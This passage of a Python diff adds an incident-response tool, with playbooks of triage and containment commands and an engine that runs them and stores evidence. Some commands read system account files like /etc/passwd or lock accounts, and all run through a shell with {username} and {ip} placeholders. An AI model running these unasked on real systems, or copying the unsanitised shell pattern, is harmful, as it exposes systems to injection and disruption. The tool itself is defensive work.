}, + { + 'title': 'Assess Scope of Impact', + 'description': 'Determine which systems, shares, and data have been affected. Check backup integrity. Identify the initial infection vector (email attachment, RDP, exploit kit).', + 'check_items': ['Enumerate affected hosts', 'Check shared drive encryption status', 'Verify backup integrity', 'Identify infection vector', 'Determine data classification of affected files'], + 'automated': False, + 'commands': [], + }, + { + 'title': 'Eradicate Ransomware', + 'description': 'Remove the ransomware binary, persistence mechanisms, and any related malware. Scan all systems with updated AV signatures. Check scheduled tasks, startup items, and registry run keys.', + 'check_items': ['Identify and remove ransomware executable', 'Clear persistence mechanisms', 'Scan with updated AV signatures', 'Check scheduled tasks', 'Check registry run keys (Windows)', 'Check crontabs (Linux)'], + 'automated': True, + 'commands': ['schtasks /query /fo LIST /v' if _is_win else 'crontab -l 2>/dev/null; ls -la /etc/cron.*/ 2>/dev/null'], + }, + { + 'title': 'Restore and Recover', + 'description': 'Restore affected systems from clean backups. Rebuild compromised systems if needed. Verify restored data integrity and gradually reconnect to the network.', + 'check_items': ['Restore from verified clean backup', 'Rebuild if no clean backup available', 'Verify data integrity post-restore', 'Patch vulnerability used for initial access', 'Reconnect to network gradually'], + 'automated': False, + 'commands': [], + }, + { + 'title': 'Post-Incident Review', + 'description': 'Conduct lessons learned meeting. Update IR playbook. Improve detection and prevention controls. Document full timeline for legal/compliance.', + 'check_items': ['Schedule lessons learned meeting', 'Update detection rules', 'Improve email filtering', 'Review backup strategy', 'Document full incident timeline', 'File regulatory notifications if required'], + 'automated': False, + 'commands': [], + }, + ], + }, + 'data_breach': { + 'name': 'Data Breach Response', + 'steps': [ + { + 'title': 'Confirm and Scope the Breach', + 'description': 'Verify that a data breach has occurred. Determine what data was accessed or exfiltrated, which systems were involved, and the approximate timeframe.', + 'check_items': ['Verify breach indicators', 'Identify affected systems', 'Determine data types exposed', 'Establish breach timeframe', 'Check access logs for unauthorized activity'], + 'automated': True, + 'commands': ['wevtutil qe Security /c:50 /f:text /rd:true' if _is_win else 'grep -i "authentication failure\\|invalid user\\|unauthorized" /var/log/auth.log 2>/dev/null | tail -50'], + }, + { + 'title': 'Contain the Breach', + 'description': 'Stop ongoing data exfiltration. Revoke compromised credentials, block attacker IPs, disable compromised accounts, and segment affected network areas.', + 'check_items': ['Block attacker IP addresses', 'Revoke compromised API keys/tokens', 'Disable compromised user accounts', 'Segment affected network zones', 'Enable enhanced logging'], + 'automated': True, + 'commands': ['netstat -anob' if _is_win else 'ss -tulnp', + 'net user' if _is_win else 'cat /etc/passwd | grep -v nologin | grep -v false'], + }, + { + 'title': 'Preserve Evidence', + 'description': 'Secure all evidence for potential legal proceedings. Create forensic images, preserve logs, and maintain chain of custody documentation.', + 'check_items': ['Create forensic disk images', 'Preserve all relevant logs', 'Document chain of custody', 'Capture network traffic logs', 'Save database query logs'], + 'automated': False, + 'commands': [], + }, + { + 'title': 'Assess Data Impact', + 'description': 'Classify the types and volume of data compromised. Determine if PII, PHI, financial data, or trade secrets were involved. Assess regulatory implications.', + 'check_items': ['Classify data types affected', 'Estimate number of records', 'Determine if PII/PHI involved', 'Check for financial data exposure', 'Identify regulatory frameworks triggered'], + 'automated': False, + 'commands': [], + }, + { + 'title': 'Notify Stakeholders', + 'description': 'Notify required parties according to regulatory requirements and company policy. This may include legal, management, affected individuals, and regulators.', + 'check_items': ['Notify legal counsel', 'Notify executive management', 'Prepare notification to affected individuals', 'File regulatory notifications (GDPR 72hr, HIPAA 60 days)', 'Notify law enforcement if appropriate', 'Prepare public statement if needed'], + 'automated': False, + 'commands': [], + }, + { + 'title': 'Remediate and Harden', + 'description': 'Fix the vulnerability or weakness that allowed the breach. Implement additional security controls and monitoring.', + 'check_items': ['Patch exploited vulnerability', 'Implement additional access controls', 'Enable MFA on affected systems', 'Deploy DLP controls', 'Enhance monitoring and alerting'], + 'automated': False, + 'commands': [], + }, + { + 'title': 'Post-Incident Review', + 'description': 'Document full incident timeline, root cause analysis, and lessons learned. Update policies, procedures, and detection rules.', + 'check_items': ['Complete incident report', 'Conduct root cause analysis', 'Update incident response plan', 'Implement improved controls', 'Schedule follow-up review'], + 'automated': False, + 'commands': [], + }, + ], + }, + 'insider_threat': { + 'name': 'Insider Threat Response', + 'steps': [ + { + 'title': 'Identify and Verify Threat', + 'description': 'Confirm the insider threat indicators. Determine if activity is malicious or accidental. Review user activity logs, access patterns, and data movement.', + 'check_items': ['Review user access logs', 'Check data transfer volumes', 'Verify anomalous login patterns', 'Review email/messaging for exfiltration', 'Confirm with HR if termination-related'], + 'automated': True, + 'commands': ['wevtutil qe Security /c:100 /f:text /rd:true /q:"*[System[(EventID=4624 or EventID=4625)]]"' if _is_win else 'last -20 2>/dev/null; lastlog 2>/dev/null | head -20'], + }, + { + 'title': 'Monitor Covertly', + 'description': 'If investigation is underway, continue monitoring the insider without alerting them. Coordinate with legal and HR before taking action.', + 'check_items': ['Enable enhanced audit logging', 'Monitor file access patterns', 'Track network activity from user workstation', 'Coordinate with HR and legal', 'Document all observations'], + 'automated': True, + 'commands': ['auditpol /get /category:*' if _is_win else 'auditctl -l 2>/dev/null'], + }, + { + 'title': 'Contain the Threat', + 'description': 'When ready to act, disable the user account, revoke all access, and secure their workstation. Preserve all evidence before wiping anything.', + 'check_items': ['Disable user account', 'Revoke VPN/remote access', 'Revoke cloud service access', 'Secure physical workstation', 'Collect badges and keys', 'Disable email forwarding rules'], + 'automated': True, + 'commands': ['net user {username} /active:no' if _is_win else 'usermod -L {username} 2>/dev/null'], + }, + { + 'title': 'Forensic Investigation', + 'description': 'Conduct thorough forensic analysis of the insider\'s workstation, email, cloud storage, and all systems they had access to.', + 'check_items': ['Image workstation hard drive', 'Review email sent items and drafts', 'Check USB device history', 'Review cloud storage activity', 'Check print logs', 'Review source code repository commits'], + 'automated': False, + 'commands': [], + }, + { + 'title': 'Assess Damage', + 'description': 'Determine what data was accessed, copied, or destroyed. Assess intellectual property theft, competitive harm, and regulatory impact.', + 'check_items': ['Inventory accessed files', 'Determine data classification', 'Assess competitive damage', 'Check for data destruction', 'Review customer data exposure'], + 'automated': False, + 'commands': [], + }, + { + 'title': 'Recovery and Remediation', + 'description': 'Rotate credentials, revoke remaining access, and implement controls to prevent similar incidents.', + 'check_items': ['Rotate shared credentials', 'Review access control lists', 'Implement separation of duties', 'Update DLP policies', 'Enhance user behavior analytics'], + 'automated': False, + 'commands': [], + }, + ], + }, + 'ddos': { + 'name': 'DDoS Response', + 'steps': [ + { + 'title': 'Detect and Classify Attack', + 'description': 'Identify the type of DDoS attack (volumetric, protocol, application layer). Determine attack vector, source IPs, and traffic patterns.', + 'check_items': ['Identify attack type', 'Measure attack bandwidth', 'Identify source IP ranges', 'Determine targeted services', 'Check if amplification/reflection attack'], + 'automated': True, + 'commands': ['netstat -an | find /c "ESTABLISHED"' if _is_win else 'ss -s; netstat -an 2>/dev/null | awk \'{print $5}\' | cut -d: -f1 | sort | uniq -c | sort -rn | head -20'], + }, + { + 'title': 'Activate Upstream Mitigation', + 'description': 'Contact ISP and activate DDoS mitigation services. Enable CDN/WAF protections. Activate cloud-based scrubbing if available.', + 'check_items': ['Contact ISP for upstream filtering', 'Activate CDN DDoS protection', 'Enable WAF rate limiting', 'Activate cloud scrubbing service', 'Implement geo-blocking if appropriate'], + 'automated': False, + 'commands': [], + }, + { + 'title': 'Apply Local Mitigations', + 'description': 'Implement local firewall rules to drop attack traffic. Enable SYN cookies, rate limiting, and connection limits. Block identified source IPs.', + 'check_items': ['Enable SYN flood protection', 'Apply rate limiting rules', 'Block top attacking IPs', 'Increase connection table size', 'Drop malformed packets'], + 'automated': True, + 'commands': ['netsh advfirewall firewall add rule name="DDoS-RateLimit" dir=in action=block enable=yes' if _is_win else 'sysctl -w net.ipv4.tcp_syncookies=1; sysctl -w net.ipv4.tcp_max_syn_backlog=2048'], + }, + { + 'title': 'Monitor and Adapt', + 'description': 'Continuously monitor attack patterns. Attackers often shift vectors when initial attack is mitigated. Update filtering rules as patterns change.', + 'check_items': ['Monitor bandwidth utilization', 'Track connection states', 'Watch for attack vector changes', 'Update filtering rules', 'Monitor service availability'], + 'automated': True, + 'commands': ['netstat -an' if _is_win else 'ss -s'], + }, + { + 'title': 'Service Recovery', + 'description': 'Once attack subsides, gradually restore services. Verify all systems are functioning normally. Clear any queued requests.', + 'check_items': ['Verify attack has stopped', 'Remove emergency firewall rules', 'Restart affected services', 'Clear connection queues', 'Verify service availability'], + 'automated': False, + 'commands': [], + }, + { + 'title': 'Post-Attack Analysis', + 'description': 'Analyze attack traffic patterns for future prevention. Update DDoS response procedures. Consider additional protection services.', + 'check_items': ['Analyze attack traffic logs', 'Document attack timeline', 'Review effectiveness of mitigations', 'Update firewall rules permanently', 'Evaluate DDoS protection services'], + 'automated': False, + 'commands': [], + }, + ], + }, + 'account_compromise': { + 'name': 'Account Compromise Response', + 'steps': [ + { + 'title': 'Confirm Compromise', + 'description': 'Verify that the account has been compromised. Check for unauthorized logins, unusual activity, email forwarding rules, and new MFA devices.', + 'check_items': ['Review login history for anomalies', 'Check for new email forwarding rules', 'Look for new MFA devices', 'Review recent account activity', 'Check for password change attempts'], + 'automated': True, + 'commands': ['wevtutil qe Security /c:30 /f:text /rd:true /q:"*[System[(EventID=4624)]]"' if _is_win else 'last -30 2>/dev/null; grep "session opened" /var/log/auth.log 2>/dev/null | tail -30'], + }, + { + 'title': 'Secure the Account', + 'description': 'Reset the password immediately. Revoke all active sessions and tokens. Remove unauthorized MFA devices. Remove suspicious email rules.', + 'check_items': ['Reset account password', 'Revoke all active sessions', 'Remove unauthorized MFA devices', 'Remove email forwarding rules', 'Revoke OAuth application access'], + 'automated': True, + 'commands': ['net user {username} * /domain' if _is_win else 'passwd {username}'], + }, + { + 'title': 'Assess Impact', + 'description': 'Determine what the attacker accessed using the compromised account. Check email, files, systems, and any actions taken.', + 'check_items': ['Review email access logs', 'Check file access history', 'Review system authentication logs', 'Look for data exfiltration', 'Check for lateral movement'], + 'automated': False, + 'commands': [], + }, + { + 'title': 'Check for Lateral Movement', + 'description': 'Determine if the attacker used the compromised account to access other systems or escalate privileges.', + 'check_items': ['Check other systems for the compromised credential', 'Review admin console access', 'Look for privilege escalation', 'Check for new accounts created', 'Review VPN connection logs'], + 'automated': True, + 'commands': ['net user' if _is_win else 'cat /etc/passwd | grep -v nologin'], + }, + { + 'title': 'Remediate and Harden', + 'description': 'Implement additional security controls on the account and related systems.', + 'check_items': ['Enable MFA if not already active', 'Review account permissions', 'Implement conditional access policies', 'Update password policy', 'Enable login anomaly detection'], + 'automated': False, + 'commands': [], + }, + ], + }, + 'malware': { + 'name': 'Malware Incident Response', + 'steps': [ + { + 'title': 'Identify and Isolate', + 'description': 'Identify the malware and isolate the affected system. Determine the malware type (trojan, worm, RAT, rootkit, etc.) and initial infection vector.', + 'check_items': ['Identify malware file/process', 'Isolate affected system from network', 'Determine malware type', 'Identify initial infection vector', 'Check if malware is actively communicating'], + 'automated': True, + 'commands': ['tasklist /v' if _is_win else 'ps auxf', + 'netstat -anob' if _is_win else 'ss -tulnp', + 'wmic process list full' if _is_win else 'ls -la /tmp /var/tmp /dev/shm 2>/dev/null'], + }, + { + 'title': 'Collect Malware Sample', + 'description': 'Safely collect the malware binary for analysis. Calculate hashes (MD5, SHA256) and check against threat intelligence databases.', + 'check_items': ['Copy malware sample to quarantine', 'Calculate file hashes', 'Submit to VirusTotal', 'Check threat intel feeds', 'Document file metadata'], + 'automated': False, + 'commands': [], + }, + { + 'title': 'Analyze Behavior', + 'description': 'Determine malware capabilities: C2 communication, persistence, data exfiltration, privilege escalation, and lateral movement.', + 'check_items': ['Identify C2 domains/IPs', 'Check persistence mechanisms', 'Identify data exfiltration channels', 'Check for privilege escalation', 'Look for dropper/downloader behavior'], + 'automated': True, + 'commands': ['schtasks /query /fo LIST /v' if _is_win else 'crontab -l 2>/dev/null', + 'reg query HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run' if _is_win else 'systemctl list-unit-files --state=enabled 2>/dev/null'], + }, + { + 'title': 'Scope the Infection', + 'description': 'Determine if other systems are infected. Sweep the network for IOCs found during analysis.', + 'check_items': ['Sweep network for IOCs', 'Check DNS logs for C2 domains', 'Review network flow data', 'Check other endpoints for same hash', 'Look for worm propagation'], + 'automated': False, + 'commands': [], + }, + { + 'title': 'Eradicate Malware', + 'description': 'Remove all malware components from affected systems. Clean persistence mechanisms, remove dropped files, and clear modified registry entries.', + 'check_items': ['Remove malware binaries', 'Clear persistence entries', 'Remove dropped files', 'Clean registry modifications', 'Verify clean with multiple AV engines'], + 'automated': False, + 'commands': [], + }, + { + 'title': 'Recover and Monitor', + 'description': 'Restore system to clean state. Patch the vulnerability used for initial access. Monitor for reinfection.', + 'check_items': ['Restore from clean backup if needed', 'Apply security patches', 'Update AV signatures', 'Monitor for reinfection indicators', 'Update detection rules with new IOCs'], + 'automated': False, + 'commands': [], + }, + ], + }, + 'phishing': { + 'name': 'Phishing Incident Response', + 'steps': [ + { + 'title': 'Analyze the Phishing Email', + 'description': 'Examine the phishing email headers, sender, links, and attachments. Determine the campaign scope and targets.', + 'check_items': ['Examine email headers for origin', 'Analyze URLs (do not click)', 'Check attachments in sandbox', 'Identify phishing kit or campaign', 'Determine number of recipients'], + 'automated': False, + 'commands': [], + }, + { + 'title': 'Identify Affected Users', + 'description': 'Determine which users received, opened, clicked links, or submitted credentials to the phishing page.', + 'check_items': ['Query email gateway for all recipients', 'Check proxy logs for phishing URL visits', 'Review web filter logs', 'Identify users who submitted credentials', 'Check for downloaded attachments'], + 'automated': True, + 'commands': ['ipconfig /displaydns' if _is_win else 'cat /etc/resolv.conf; grep -r "dns" /var/log/ 2>/dev/null | tail -20'], + }, + { + 'title': 'Contain the Threat', + 'description': 'Block the phishing URLs and sender addresses. Reset credentials for affected users. Purge remaining phishing emails from inboxes.', + 'check_items': ['Block phishing URL at proxy/firewall', 'Block sender email address', 'Reset passwords for affected users', 'Purge phishing email from all mailboxes', 'Block phishing domain in DNS'], + 'automated': True, + 'commands': ['netsh advfirewall firewall add rule name="Block-Phish" dir=out action=block remoteip={ip}' if _is_win else 'iptables -A OUTPUT -d {ip} -j DROP'], + }, + { + 'title': 'Check for Secondary Compromise', + 'description': 'If users clicked links or submitted credentials, check for follow-on compromise: unauthorized access, malware installation, data theft.', + 'check_items': ['Check for unauthorized logins with stolen creds', 'Scan workstations for malware', 'Review data access logs', 'Check for OAuth token theft', 'Look for lateral movement'], + 'automated': False, + 'commands': [], + }, + { + 'title': 'Remediate', + 'description': 'Ensure all affected accounts are secured. Update email filtering rules. Deploy additional protections.', + 'check_items': ['Verify all affected passwords reset', 'Enable MFA for affected accounts', 'Update email filter rules', 'Add phishing indicators to blocklists', 'Submit phishing page for takedown'], + 'automated': False, + 'commands': [], + }, + { + 'title': 'User Awareness', + 'description': 'Notify users about the phishing campaign. Provide guidance on identifying phishing. Consider additional security awareness training.', + 'check_items': ['Send company-wide alert about campaign', 'Provide phishing identification tips', 'Schedule security awareness training', 'Update phishing simulation program', 'Document lessons learned'], + 'automated': False, + 'commands': [], + }, + ], + }, + 'unauthorized_access': { + 'name': 'Unauthorized Access Response', + 'steps': [ + { + 'title': 'Detect and Confirm', + 'description': 'Verify unauthorized access indicators. Review authentication logs, IDS/IPS alerts, and anomalous activity.', + 'check_items': ['Review authentication logs', 'Check IDS/IPS alerts', 'Verify anomalous access patterns', 'Identify accessed resources', 'Determine access method (exploit, stolen creds, misconfiguration)'], + 'automated': True, + 'commands': ['wevtutil qe Security /c:50 /f:text /rd:true' if _is_win else 'grep -i "accepted\\|failed\\|invalid" /var/log/auth.log 2>/dev/null | tail -50'], + }, + { + 'title': 'Block Attacker Access', + 'description': 'Immediately block the attacker\'s access. Firewall the source IP, disable exploited service, close the vulnerability.', + 'check_items': ['Block attacker IP at firewall', 'Disable exploited service', 'Close vulnerable ports', 'Revoke any created credentials', 'Reset compromised accounts'], + 'automated': True, + 'commands': ['netsh advfirewall firewall add rule name="Block-Attacker" dir=in action=block remoteip={ip}' if _is_win else 'iptables -A INPUT -s {ip} -j DROP'], + }, + { + 'title': 'Preserve Evidence', + 'description': 'Capture all evidence of the intrusion before remediation changes it.', + 'check_items': ['Capture running processes', 'Save network connections', 'Preserve log files', 'Save modified files list', 'Document access timeline'], + 'automated': True, + 'commands': ['tasklist /v' if _is_win else 'ps auxf', + 'netstat -anob' if _is_win else 'ss -tulnp', + 'dir /t:w /o:-d /s C:\\Users' if _is_win else 'find / -mtime -1 -type f 2>/dev/null | head -100'], + }, + { + 'title': 'Assess Scope and Impact', + 'description': 'Determine what the attacker accessed, modified, or exfiltrated. Check for backdoors, new accounts, and persistence mechanisms.', + 'check_items': ['Check for new user accounts', 'Look for backdoors and webshells', 'Review file modification times', 'Check for data exfiltration', 'Look for persistence mechanisms'], + 'automated': True, + 'commands': ['net user' if _is_win else 'cat /etc/passwd', + 'schtasks /query /fo LIST' if _is_win else 'crontab -l 2>/dev/null'], + }, + { + 'title': 'Eradicate and Harden', + 'description': 'Remove all attacker artifacts. Patch the exploited vulnerability. Harden the system against future attacks.', + 'check_items': ['Remove attacker backdoors', 'Patch exploited vulnerability', 'Remove unauthorized accounts', 'Harden service configurations', 'Update firewall rules', 'Enable enhanced logging'], + 'automated': False, + 'commands': [], + }, + { + 'title': 'Post-Incident Review', + 'description': 'Document the full attack chain. Update detection rules and security controls. Implement lessons learned.', + 'check_items': ['Document complete attack chain', 'Update IDS/IPS signatures', 'Review and update access controls', 'Implement additional monitoring', 'Schedule penetration test'], + 'automated': False, + 'commands': [], + }, + ], + }, +} + + +# ── Incident Response Engine ──────────────────────────────────────── + +class IncidentResponse: + """IR playbook runner, evidence collector, IOC sweeper, and reporting engine.""" + + _instance = None + + def __init__(self): + data_dir = get_data_dir() + if isinstance(data_dir, str): + data_dir = Path(data_dir) + self._incidents_dir = data_dir / 'incidents' + self._incidents_dir.mkdir(parents=True, exist_ok=True) + + # ── helpers ────────────────────────────────────────────────── + + def _run_cmd(self, cmd, timeout=30): + """Run a shell command, return (success, output).""" + try: + result = subprocess.run(cmd, shell=True, capture_output=True, + text=True, timeout=timeout) + return result.returncode == 0, result.stdout.strip() + except Exception as e: + return False, str(e) + + def _now_iso(self): + return datetime.now(timezone.utc).isoformat() + + def _gen_id(self): + """Generate a unique incident ID like IR-20260303-A1B2.""" + ts = datetime.now().strftime('%Y%m%d') + suffix = hashlib.md5(str(time.time()).encode()).hexdigest()[:4].upper() + return f'IR-{ts}-{suffix}' + + def _incident_dir(self, incident_id): + d = self._incidents_dir / incident_id + d.mkdir(parents=True, exist_ok=True) + return d + + def _load_incident(self, incident_id): + path = self._incident_dir(incident_id) / 'incident.json' + if not path.exists(): + return None + with open(path, 'r') as f: + return json.load(f) + + def _save_incident(self, incident): + idir = self._incident_dir(incident['id']) + with open(idir / 'incident.json', 'w') as f: + json.dump(incident, f, indent=2, default=str) + + def _load_timeline(self, incident_id): + path = self._incident_dir(incident_id) / 'timeline.json' + if not path.exists(): + return [] + with open(path, 'r') as f: + return json.load(f) + + def _save_timeline(self, incident_id, timeline): + path = self._incident_dir(incident_id) / 'timeline.json' + with open(path, 'w') as f: + json.dump(timeline, f, indent=2, default=str) + + def _evidence_dir(self, incident_id): + d = self._incident_dir(incident_id) / 'evidence' + d.mkdir(parents=True, exist_ok=True) + return d + + # ── CRUD ───────────────────────────────────────────────────── + + def create_incident(self, name, incident_type, severity, description=''): + """Create a new incident case and return the incident dict.""" + if incident_type not in INCIDENT_TYPES: + return {'error': f'Invalid type. Must be one of: {", ".join(INCIDENT_TYPES)}'} + if severity not in SEVERITY_LEVELS: + return {'error': f'Invalid severity. Must be one of: {", ".join(SEVERITY_LEVELS)}'} + + incident_id = self._gen_id() + playbook = IR_PLAYBOOKS.get(incident_type, {}) + step_count = len(playbook.get('steps', [])) + + incident = { + 'id': incident_id, + 'name': name, + 'type': incident_type, + 'severity': severity, + 'description': description, + 'status': 'open', + 'assignee': '', + 'notes': '', + 'created': self._now_iso(), + 'updated': self._now_iso(), + 'closed': None, + 'resolution_notes': '', + 'playbook_progress': [False] * step_count, + 'playbook_outputs': [''] * step_count, + 'evidence_count': 0, + } + self._save_incident(incident) + self._save_timeline(incident_id, []) + + # add creation event to timeline + self.add_timeline_event(incident_id, self._now_iso(), + f'Incident created: {name}', 'system', + f'Type: {incident_type}, Severity: {severity}') + return incident + + def get_incident(self, incident_id): + """Return full incident details including timeline and evidence list.""" + incident = self._load_incident(incident_id) + if not incident: + return {'error': 'Incident not found'} + incident['timeline'] = self._load_timeline(incident_id) + incident['evidence'] = self.list_evidence(incident_id) + return incident + + def list_incidents(self, status=None): + """Return list of all incidents, optionally filtered by status.""" + incidents = [] + if not self._incidents_dir.exists(): + return incidents + for d in sorted(self._incidents_dir.iterdir(), reverse=True): + if d.is_dir(): + inc = self._load_incident(d.name) + if inc: + if status and inc.get('status') != status: + continue + incidents.append(inc) + return incidents + + def update_incident(self, incident_id, updates): + """Update incident fields (status, severity, notes, assignee).""" + incident = self._load_incident(incident_id) + if not incident: + return {'error': 'Incident not found'} + + allowed = {'status', 'severity', 'notes', 'assignee', 'name', 'description'} + changes = [] + for key, val in updates.items(): + if key in allowed: + old_val = incident.get(key, '') + if old_val != val: + incident[key] = val + changes.append(f'{key}: {old_val} -> {val}') + + if 'status' in updates and updates['status'] not in STATUS_VALUES: + return {'error': f'Invalid status. Must be one of: {", ".join(STATUS_VALUES)}'} + if 'severity' in updates and updates['severity'] not in SEVERITY_LEVELS: + return {'error': f'Invalid severity. Must be one of: {", ".join(SEVERITY_LEVELS)}'} + + incident['updated'] = self._now_iso() + self._save_incident(incident) + + if changes: + self.add_timeline_event(incident_id, self._now_iso(), + 'Incident updated', 'system', + '; '.join(changes)) + return incident + + def close_incident(self, incident_id, resolution_notes=''): + """Close an incident with resolution notes.""" + incident = self._load_incident(incident_id) + if not incident: + return {'error': 'Incident not found'} + + incident['status'] = 'closed' + incident['closed'] = self._now_iso() + incident['updated'] = self._now_iso() + incident['resolution_notes'] = resolution_notes + self._save_incident(incident) + + self.add_timeline_event(incident_id, self._now_iso(), + 'Incident closed', 'system', resolution_notes) + return incident + + def delete_incident(self, incident_id): + """Delete an incident and all associated data.""" + idir = self._incidents_dir / incident_id + if not idir.exists(): + return {'error': 'Incident not found'} + shutil.rmtree(str(idir), ignore_errors=True) + return {'success': True, 'deleted': incident_id} + + # ── Playbooks ──────────────────────────────────────────────── + + def get_playbook(self, incident_type): + """Return the IR playbook for an incident type.""" + pb = IR_PLAYBOOKS.get(incident_type) + if not pb: + return {'error': f'No playbook for type: {incident_type}'} + return pb + + def run_playbook_step(self, incident_id, step_index, auto=False): + """Execute or mark a playbook step as done.""" + incident = self._load_incident(incident_id) + if not incident: + return {'error': 'Incident not found'} + + playbook = IR_PLAYBOOKS.get(incident['type'], {}) + steps = playbook.get('steps', []) + if step_index < 0 or step_index >= len(steps): + return {'error': f'Invalid step index: {step_index}'} + + step = steps[step_index] + output = '' + + if auto and step.get('automated') and step.get('commands'): + # Run the commands and capture output + outputs = [] + for cmd in step['commands']: + success, result = self._run_cmd(cmd) + outputs.append(f'$ {cmd}\n{result}\n{"[OK]" if success else "[FAILED]"}') + output = '\n\n'.join(outputs) + + # Store the output as evidence + self.add_evidence(incident_id, + f'playbook_step_{step_index}_{step["title"].replace(" ", "_")}', + output, evidence_type='playbook_auto') + + # Mark step as complete + progress = incident.get('playbook_progress', []) + while len(progress) <= step_index: + progress.append(False) + progress[step_index] = True + + pb_outputs = incident.get('playbook_outputs', []) + while len(pb_outputs) <= step_index: + pb_outputs.append('') + pb_outputs[step_index] = output + + incident['playbook_progress'] = progress + incident['playbook_outputs'] = pb_outputs + incident['updated'] = self._now_iso() + + # auto-advance status + if incident['status'] == 'open': + incident['status'] = 'investigating' + + self._save_incident(incident) + self.add_timeline_event(incident_id, self._now_iso(), + f'Playbook step completed: {step["title"]}', + 'playbook', + f'Step {step_index + 1}/{len(steps)}, auto={auto}') + + return { + 'step_index': step_index, + 'title': step['title'], + 'completed': True, + 'auto': auto, + 'output': output, + 'progress': progress, + } + + # ── Evidence Collection ────────────────────────────────────── + + def collect_evidence(self, incident_id, evidence_type, source=None): + """Collect evidence from the local system and store it under the incident.""" + incident = self._load_incident(incident_id) + if not incident: + return {'error': 'Incident not found'} + if evidence_type not in EVIDENCE_TYPES: + return {'error': f'Unknown evidence type. Options: {", ".join(EVIDENCE_TYPES)}'} + + content = '' + name = evidence_type + + if evidence_type == 'system_logs': + if _is_win: + _, content = self._run_cmd( + 'wevtutil qe System /c:50 /f:text /rd:true', timeout=20) + _, auth = self._run_cmd( + 'wevtutil qe Security /c:50 /f:text /rd:true', timeout=20) + content = f'=== System Log ===\n{content}\n\n=== Security Log ===\n{auth}' + else: + parts = [] + for log in ['/var/log/syslog', '/var/log/messages', '/var/log/auth.log', + '/var/log/secure', '/var/log/kern.log']: + _, out = self._run_cmd(f'tail -100 {log} 2>/dev/null') + if out: + parts.append(f'=== {log} ===\n{out}') + content = '\n\n'.join(parts) if parts else 'No accessible logs found' + + elif evidence_type == 'process_list': + if _is_win: + _, content = self._run_cmd('tasklist /v /fo csv', timeout=15) + else: + _, content = self._run_cmd('ps auxf', timeout=15) + + elif evidence_type == 'network_connections': + if _is_win: + _, content = self._run_cmd('netstat -anob', timeout=15) + else: + _, content = self._run_cmd('ss -tulnp 2>/dev/null || netstat -tulnp 2>/dev/null', timeout=15) + + elif evidence_type == 'running_services': + if _is_win: + _, content = self._run_cmd('sc query state= all', timeout=20) + else: + _, content = self._run_cmd('systemctl list-units --type=service --state=running 2>/dev/null || service --status-all 2>/dev/null', timeout=15) + + elif evidence_type == 'user_accounts': + if _is_win: + _, content = self._run_cmd('net user', timeout=10) + _, detailed = self._run_cmd('wmic useraccount list full', timeout=15) + content = f'{content}\n\n=== Detailed ===\n{detailed}' + else: + _, content = self._run_cmd('cat /etc/passwd; echo "---"; last -20 2>/dev/null', timeout=10) + + elif evidence_type == 'scheduled_tasks': + if _is_win: + _, content = self._run_cmd('schtasks /query /fo LIST /v', timeout=20) + else: + parts = [] + _, out = self._run_cmd('crontab -l 2>/dev/null') + if out: + parts.append(f'=== User Crontab ===\n{out}') + _, out = self._run_cmd('ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.weekly/ /etc/cron.monthly/ 2>/dev/null') + if out: + parts.append(f'=== System Cron ===\n{out}') + _, out = self._run_cmd('systemctl list-timers --all 2>/dev/null') + if out: + parts.append(f'=== Systemd Timers ===\n{out}') + content = '\n\n'.join(parts) if parts else 'No scheduled tasks found' + + elif evidence_type == 'recent_files': + if _is_win: + _, content = self._run_cmd( + 'forfiles /P C:\\Users /S /D -1 /C "cmd /c echo @path @fdate @ftime" 2>nul', + timeout=30) + if not content: + _, content = self._run_cmd('dir /t:w /o:-d /s C:\\Users\\*.*', timeout=30) + else: + _, content = self._run_cmd( + 'find /home /tmp /var/tmp /root -mtime -1 -type f 2>/dev/null | head -200', + timeout=30) + + elif evidence_type == 'memory_info': + if _is_win: + _, content = self._run_cmd( + 'systeminfo | findstr /C:"Total Physical" /C:"Available Physical" /C:"Virtual Memory"', + timeout=15) + _, procs = self._run_cmd( + 'wmic process get Name,WorkingSetSize,ProcessId /format:csv', timeout=15) + content = f'{content}\n\n=== Top Processes ===\n{procs}' + else: + _, content = self._run_cmd('free -h; echo "---"; cat /proc/meminfo | head -20', timeout=10) + + elif evidence_type == 'disk_info': + if _is_win: + _, content = self._run_cmd('wmic logicaldisk get size,freespace,caption', timeout=10) + else: + _, content = self._run_cmd('df -h; echo "---"; lsblk 2>/dev/null', timeout=10) + + elif evidence_type == 'installed_software': + if _is_win: + _, content = self._run_cmd( + 'wmic product get name,version /format:csv 2>nul', timeout=30) + if not content: + _, content = self._run_cmd( + 'reg query "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" /s /v DisplayName 2>nul', + timeout=20) + else: + _, content = self._run_cmd( + 'dpkg -l 2>/dev/null || rpm -qa 2>/dev/null || pacman -Q 2>/dev/null', + timeout=20) + + # Save evidence + return self.add_evidence(incident_id, name, content, evidence_type='collected') + + def add_evidence(self, incident_id, name, content, evidence_type='manual'): + """Add evidence (manual note, collected data, etc.) to an incident.""" + incident = self._load_incident(incident_id) + if not incident: + return {'error': 'Incident not found'} + + edir = self._evidence_dir(incident_id) + ts = datetime.now().strftime('%Y%m%d_%H%M%S') + safe_name = re.sub(r'[^a-zA-Z0-9_-]', '_', name) + filename = f'{ts}_{safe_name}.txt' + filepath = edir / filename + + with open(filepath, 'w', encoding='utf-8', errors='replace') as f: + f.write(content) + + # Update evidence count + incident['evidence_count'] = incident.get('evidence_count', 0) + 1 + incident['updated'] = self._now_iso() + self._save_incident(incident) + + # Log in timeline + self.add_timeline_event(incident_id, self._now_iso(), + f'Evidence added: {name}', 'evidence', + f'Type: {evidence_type}, File: {filename}, Size: {len(content)} bytes') + + return { + 'name': name, + 'filename': filename, + 'type': evidence_type, + 'size': len(content), + 'collected_at': self._now_iso(), + 'preview': content[:500] if content else '', + } + + def list_evidence(self, incident_id): + """List all evidence files for an incident.""" + edir = self._evidence_dir(incident_id) + evidence = [] + if not edir.exists(): + return evidence + for f in sorted(edir.iterdir()): + if f.is_file(): + stat = f.stat() + evidence.append({ + 'filename': f.name, + 'name': f.stem, + 'size': stat.st_size, + 'collected_at': datetime.fromtimestamp(stat.st_mtime).isoformat(), + }) + return evidence + + def get_evidence_content(self, incident_id, filename): + """Return the content of a specific evidence file.""" + filepath = self._evidence_dir(incident_id) / filename + if not filepath.exists(): + return {'error': 'Evidence file not found'} + try: + content = 